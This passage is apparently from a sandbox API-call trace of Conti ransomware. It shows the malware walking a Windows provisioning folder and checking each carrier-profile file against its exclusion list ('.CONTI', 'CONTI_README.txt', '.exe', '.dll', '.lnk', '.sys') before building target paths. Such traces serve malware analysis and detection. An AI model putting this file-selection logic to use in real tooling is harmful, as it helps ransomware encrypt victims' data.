	[0108.169] lstrcmpiW (lpString1="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.169] StrStrIW (lpFirst="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.169] StrStrIW (lpFirst="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.169] StrStrIW (lpFirst="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.169] StrStrIW (lpFirst="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.169] StrStrIW (lpFirst="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.169] StrStrIW (lpFirst="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.169] StrStrIW (lpFirst="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.169] StrStrIW (lpFirst="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.169] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.169] lstrlenW (lpString="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml") returned 67
	[0108.170] GetProcessHeap () returned 0x1720000
	[0108.170] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x65882e8
	[0108.170] lstrcpyW (in: lpString1=0x65882e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.170] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.170] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml"
	[0108.170] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906e6a13, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="181__C~1.PRO")) returned 1
	[0108.170] lstrcmpiW (lpString1="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.170] lstrcmpiW (lpString1="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.170] StrStrIW (lpFirst="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.170] StrStrIW (lpFirst="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.170] StrStrIW (lpFirst="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.170] StrStrIW (lpFirst="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.170] StrStrIW (lpFirst="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.170] StrStrIW (lpFirst="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.170] StrStrIW (lpFirst="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.170] StrStrIW (lpFirst="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.170] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.170] lstrlenW (lpString="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned 70
	[0108.170] GetProcessHeap () returned 0x1720000
	[0108.170] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x17d1670
	[0108.170] lstrcpyW (in: lpString1=0x17d1670, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.170] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.170] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml"
	[0108.170] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906e6a13, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="182__C~1.PRO")) returned 1
	[0108.170] lstrcmpiW (lpString1="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.170] lstrcmpiW (lpString1="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.170] StrStrIW (lpFirst="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.170] StrStrIW (lpFirst="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.170] StrStrIW (lpFirst="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.170] StrStrIW (lpFirst="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.171] StrStrIW (lpFirst="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.171] StrStrIW (lpFirst="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.171] StrStrIW (lpFirst="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.171] StrStrIW (lpFirst="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.171] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.171] lstrlenW (lpString="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned 70
	[0108.171] GetProcessHeap () returned 0x1720000
	[0108.171] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x17d13c0
	[0108.171] lstrcpyW (in: lpString1=0x17d13c0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.171] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.171] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml"
	[0108.171] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906e6a13, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="183__C~1.PRO")) returned 1
	[0108.171] lstrcmpiW (lpString1="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.171] lstrcmpiW (lpString1="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.171] StrStrIW (lpFirst="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.171] StrStrIW (lpFirst="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.171] StrStrIW (lpFirst="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.171] StrStrIW (lpFirst="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.171] StrStrIW (lpFirst="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.171] StrStrIW (lpFirst="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.171] StrStrIW (lpFirst="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.171] StrStrIW (lpFirst="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.171] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.171] lstrlenW (lpString="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned 70
	[0108.171] GetProcessHeap () returned 0x1720000
	[0108.171] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x17d0900
	[0108.171] lstrcpyW (in: lpString1=0x17d0900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.171] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.171] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml"
	[0108.171] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906e6a13, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906e6a13, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906e6a13, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2db, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="184__C~1.PRO")) returned 1
	[0108.171] lstrcmpiW (lpString1="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.172] lstrcmpiW (lpString1="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.172] StrStrIW (lpFirst="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.172] StrStrIW (lpFirst="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.172] StrStrIW (lpFirst="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.172] StrStrIW (lpFirst="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.172] StrStrIW (lpFirst="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.172] StrStrIW (lpFirst="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.172] StrStrIW (lpFirst="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.172] StrStrIW (lpFirst="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.172] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.172] lstrlenW (lpString="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned 83
	[0108.172] GetProcessHeap () returned 0x1720000
	[0108.172] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x15c) returned 0x17cb238
	[0108.172] lstrcpyW (in: lpString1=0x17cb238, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.172] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.172] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml"
	[0108.172] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", cAlternateFileName="185__C~1.PRO")) returned 1
	[0108.172] lstrcmpiW (lpString1="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.172] lstrcmpiW (lpString1="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.172] StrStrIW (lpFirst="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.172] StrStrIW (lpFirst="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.172] StrStrIW (lpFirst="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.172] StrStrIW (lpFirst="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.172] StrStrIW (lpFirst="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.172] StrStrIW (lpFirst="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.172] StrStrIW (lpFirst="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.172] StrStrIW (lpFirst="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.172] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.172] lstrlenW (lpString="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml") returned 75
	[0108.172] GetProcessHeap () returned 0x1720000
	[0108.173] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14c) returned 0x17d0fb8
	[0108.173] lstrcpyW (in: lpString1=0x17d0fb8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.173] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.173] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml"
	[0108.173] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070cc83, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9070cc83, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9070cc83, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", cAlternateFileName="186__C~1.PRO")) returned 1
	[0108.173] lstrcmpiW (lpString1="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.173] lstrcmpiW (lpString1="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.173] StrStrIW (lpFirst="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.173] StrStrIW (lpFirst="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.173] StrStrIW (lpFirst="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.173] StrStrIW (lpFirst="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.173] StrStrIW (lpFirst="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.173] StrStrIW (lpFirst="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.173] StrStrIW (lpFirst="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.173] StrStrIW (lpFirst="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.173] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.173] lstrlenW (lpString="186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml") returned 74
	[0108.173] GetProcessHeap () returned 0x1720000
	[0108.173] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x17d0d08
	[0108.173] lstrcpyW (in: lpString1=0x17d0d08, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
